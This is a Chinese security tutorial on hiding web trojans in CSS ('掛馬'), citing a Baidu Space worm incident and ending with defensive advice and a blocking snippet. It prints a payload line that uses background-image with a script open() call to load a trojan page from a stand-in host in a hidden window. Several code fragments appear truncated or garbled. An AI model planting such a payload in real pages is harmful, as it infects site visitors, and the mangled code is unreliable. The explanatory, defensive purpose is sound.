明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

CSS掛馬方法及其處理方法

[摘要]黑客們發(fā)現(xiàn)發(fā)現(xiàn), 用來制作網(wǎng)頁特效的CSS代碼, 也可以用來掛馬。 隨著Web2.0的普及, 各種網(wǎng)頁特效用得越來越多, 這也給黑客一個(gè)可乘之機(jī)。 他們發(fā)現(xiàn), 用來制作網(wǎng)頁特效的CSS代碼, 也...

黑客們發(fā)現(xiàn)發(fā)現(xiàn), 用來制作網(wǎng)頁特效的CSS代碼, 也可以用來掛馬。

隨著Web2.0的普及, 各種網(wǎng)頁特效用得越來越多, 這也給黑客一個(gè)可乘之機(jī)。 他們發(fā)現(xiàn), 用來制作網(wǎng)頁特效的CSS代碼, 也可以用來掛馬。 而比較諷刺的是, CSS掛馬方式其實(shí)是從防范E掛馬的CSS代碼演變而來。

安天實(shí)驗(yàn)室阿楠:安全工程師, 從事病毒分析多年。

網(wǎng)站掛馬的手段最初非常單一, 但是隨著Web2.0技術(shù)以及Blog、Wiki等廣泛的應(yīng)用, 掛馬也涌現(xiàn)出各種各樣的技術(shù), 其中CSS掛馬方式, 可以說是Web2.0時(shí)代黑客的最愛。 有許多非常著名的網(wǎng)站都被黑客用CSS掛馬入侵過。

在我印象中, 記憶最深刻的一次是百度空間CSS掛馬。 當(dāng)時(shí), 百度空間推出沒有多久, 就有許多百度用戶收到了類似“哈, 節(jié)日快樂呀!熱烈慶祝2008, 心情好好, 記住要想我!http://hi.baidu.com/XXXXX”的站內(nèi)消息。

由于網(wǎng)址是百度空間的網(wǎng)址, 許多用戶認(rèn)為不會(huì)存在安全問題, 加上又有可能是自己朋友發(fā)來的, 因此會(huì)毫不猶豫地點(diǎn)擊進(jìn)入。 但是進(jìn)入指定的網(wǎng)址后, 用戶就會(huì)感染蠕蟲病毒, 并繼續(xù)傳播。

由于蠕蟲擴(kuò)散非常嚴(yán)重, 最終導(dǎo)致百度空間不得不發(fā)布官方聲明提醒用戶, 并且大費(fèi)周折地在服務(wù)器中清除蠕蟲的惡意代碼。 那一次的掛馬事件利用的就是百度空間CSS模板功能, 通過變形的expression在CSS代碼中動(dòng)態(tài)執(zhí)行腳本, 讓指定的遠(yuǎn)程惡意代碼文件在后臺(tái)悄悄運(yùn)行并發(fā)送大量偽造信息。

我建議大家在點(diǎn)擊陌生鏈接時(shí), 要多個(gè)心眼, 大網(wǎng)站也是可能被掛馬的。 大家在上網(wǎng)時(shí), 最好還是使用一些帶網(wǎng)頁木馬攔截功能的安全輔助工具。

黑客為什么選擇CSS掛馬?

在Web1.0時(shí)代, 使用E掛馬對(duì)于黑客而言, 與其說是為了更好地實(shí)現(xiàn)木馬的隱藏, 倒不如說是無可奈何的一個(gè)選擇。 在簡(jiǎn)單的HTML網(wǎng)頁和缺乏交互性的網(wǎng)站中, 黑客可以利用的手段也非常有限, 即使采取了復(fù)雜的偽裝, 也很容易被識(shí)破, 還不如E來得直接和有效。

但如今交互式的Web2.0網(wǎng)站越來越多, 允許用戶設(shè)置與修改的博客、SNS社區(qū)等紛紛出現(xiàn)。 這些互動(dòng)性非常強(qiáng)的社區(qū)和博客中, 往往會(huì)提供豐富的功能, 并且會(huì)允許用戶使用CSS層疊樣式表來對(duì)網(wǎng)站的網(wǎng)頁進(jìn)行自由的修改, 這促使了CSS掛馬流行。

小百科:

CSS是層疊樣式表(CascadingStyleSheets)的英文縮寫。 CSS最主要的目的是將文件的結(jié)構(gòu)(用HTML或其他相關(guān)語言寫的)與文件的顯示分隔開來。 這個(gè)分隔可以讓文件的可讀性得到加強(qiáng)、文件的結(jié)構(gòu)更加靈活。

黑客在利用CSS掛馬時(shí), 往往是借著網(wǎng)民對(duì)某些大網(wǎng)站的信任, 將CSS惡意代碼掛到博客或者其他支持CSS的網(wǎng)頁中, 當(dāng)網(wǎng)民在訪問該網(wǎng)頁時(shí)惡意代碼就會(huì)執(zhí)行。 這就如同你去一家知名且證照齊全的大醫(yī)院看病, 你非常信任醫(yī)院, 但是你所看的門診卻已經(jīng)被庸醫(yī)外包了下來, 并且打著醫(yī)院的名義利用你的信任成功欺騙了你。 但是當(dāng)你事后去找人算賬時(shí), 醫(yī)院此時(shí)也往往一臉無辜。 對(duì)于安全工程師而言, CSS掛馬的排查是必備常識(shí)。

CSS掛馬攻防實(shí)錄

攻CSS掛馬方式較多, 但主流的方式是通過有漏洞的博客或者SNS社交網(wǎng)站系統(tǒng), 將惡意的CSS代碼寫入支持CSS功能的個(gè)性化頁面中。 下面我們以典型的CSS掛馬方式為例進(jìn)行講解。

方式1:

Body

“background-image”在CSS中的主要功能是用來定義頁面的背景圖片。 這是最典型的CSS掛馬方式, 這段惡意代碼主要是通過“background-image”配合t代碼讓網(wǎng)頁木馬悄悄地在用戶的電腦中運(yùn)行。

那如何將這段CSS惡意代碼掛到正常的網(wǎng)頁中去呢?黑客可以將生成好的網(wǎng)頁木馬放到自己指定的位置, 然后將該段惡意代碼寫入掛馬網(wǎng)站的網(wǎng)頁中, 或者掛馬網(wǎng)頁所調(diào)用的CSS文件中。

小百科:

使用Body對(duì)象元素, 主要是為了讓對(duì)象不再改變整個(gè)網(wǎng)頁文檔的內(nèi)容, 通過Body對(duì)象的控制, 可以將內(nèi)容或者效果控制在指定的大小內(nèi), 如同使用DIV對(duì)象那樣精確地設(shè)置大小。

方式2:

Body

background-image: url(t:open("http://www.X.com/muma.htm", "newwindow", "border="1" Height=0, Width=0, top=1000, center=0, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no"))

方式1的CSS掛馬技術(shù), 在運(yùn)行時(shí)會(huì)出現(xiàn)空白的頁面, 影響網(wǎng)頁訪問者正常的訪問, 因此比較容易發(fā)現(xiàn)。 不過在方式2中的這段代碼, 使用了t的Open開窗, 通過新開一個(gè)隱藏的窗口, 在后臺(tái)悄悄地運(yùn)行新窗口并激活訪問網(wǎng)頁溢出木馬頁面, 不會(huì)影響訪問者觀看網(wǎng)頁內(nèi)容, 因此更加隱蔽。

防網(wǎng)絡(luò)服務(wù)器被掛馬, 通常會(huì)出現(xiàn)防病毒軟件告警之類的信息。 由于漏洞不斷更新, 掛馬種類時(shí)刻都在變換, 通過客戶端的反映來發(fā)現(xiàn)服務(wù)器是否被掛馬往往疏漏較大。 正確的做法是經(jīng)常檢查服務(wù)器日志, 發(fā)現(xiàn)異常信息, 經(jīng)常檢查網(wǎng)站代碼, 使用網(wǎng)頁木馬檢測(cè)系統(tǒng), 進(jìn)行排查。

目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外, 還可以在網(wǎng)頁中設(shè)置CSS過濾, 將CSS過濾掉。 不過如果你選擇過濾CSS的話, 首先需要留意自己的相關(guān)網(wǎng)頁是否有CSS的內(nèi)容, 因此我們?nèi)匀皇淄朴米钄喾绞絹矸婪禖SS。 阻斷代碼如下所示:

emiao1:expression(this.src="about:blank", this.outerHTML="");

將外域的木馬代碼的src重寫成本地IE404錯(cuò)誤頁面的地址, 這樣, 外域的t代碼不會(huì)被下載。 不過阻斷方式也有天生致命的弱點(diǎn), 弱點(diǎn)的秘密我們將于下次揭曉。


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。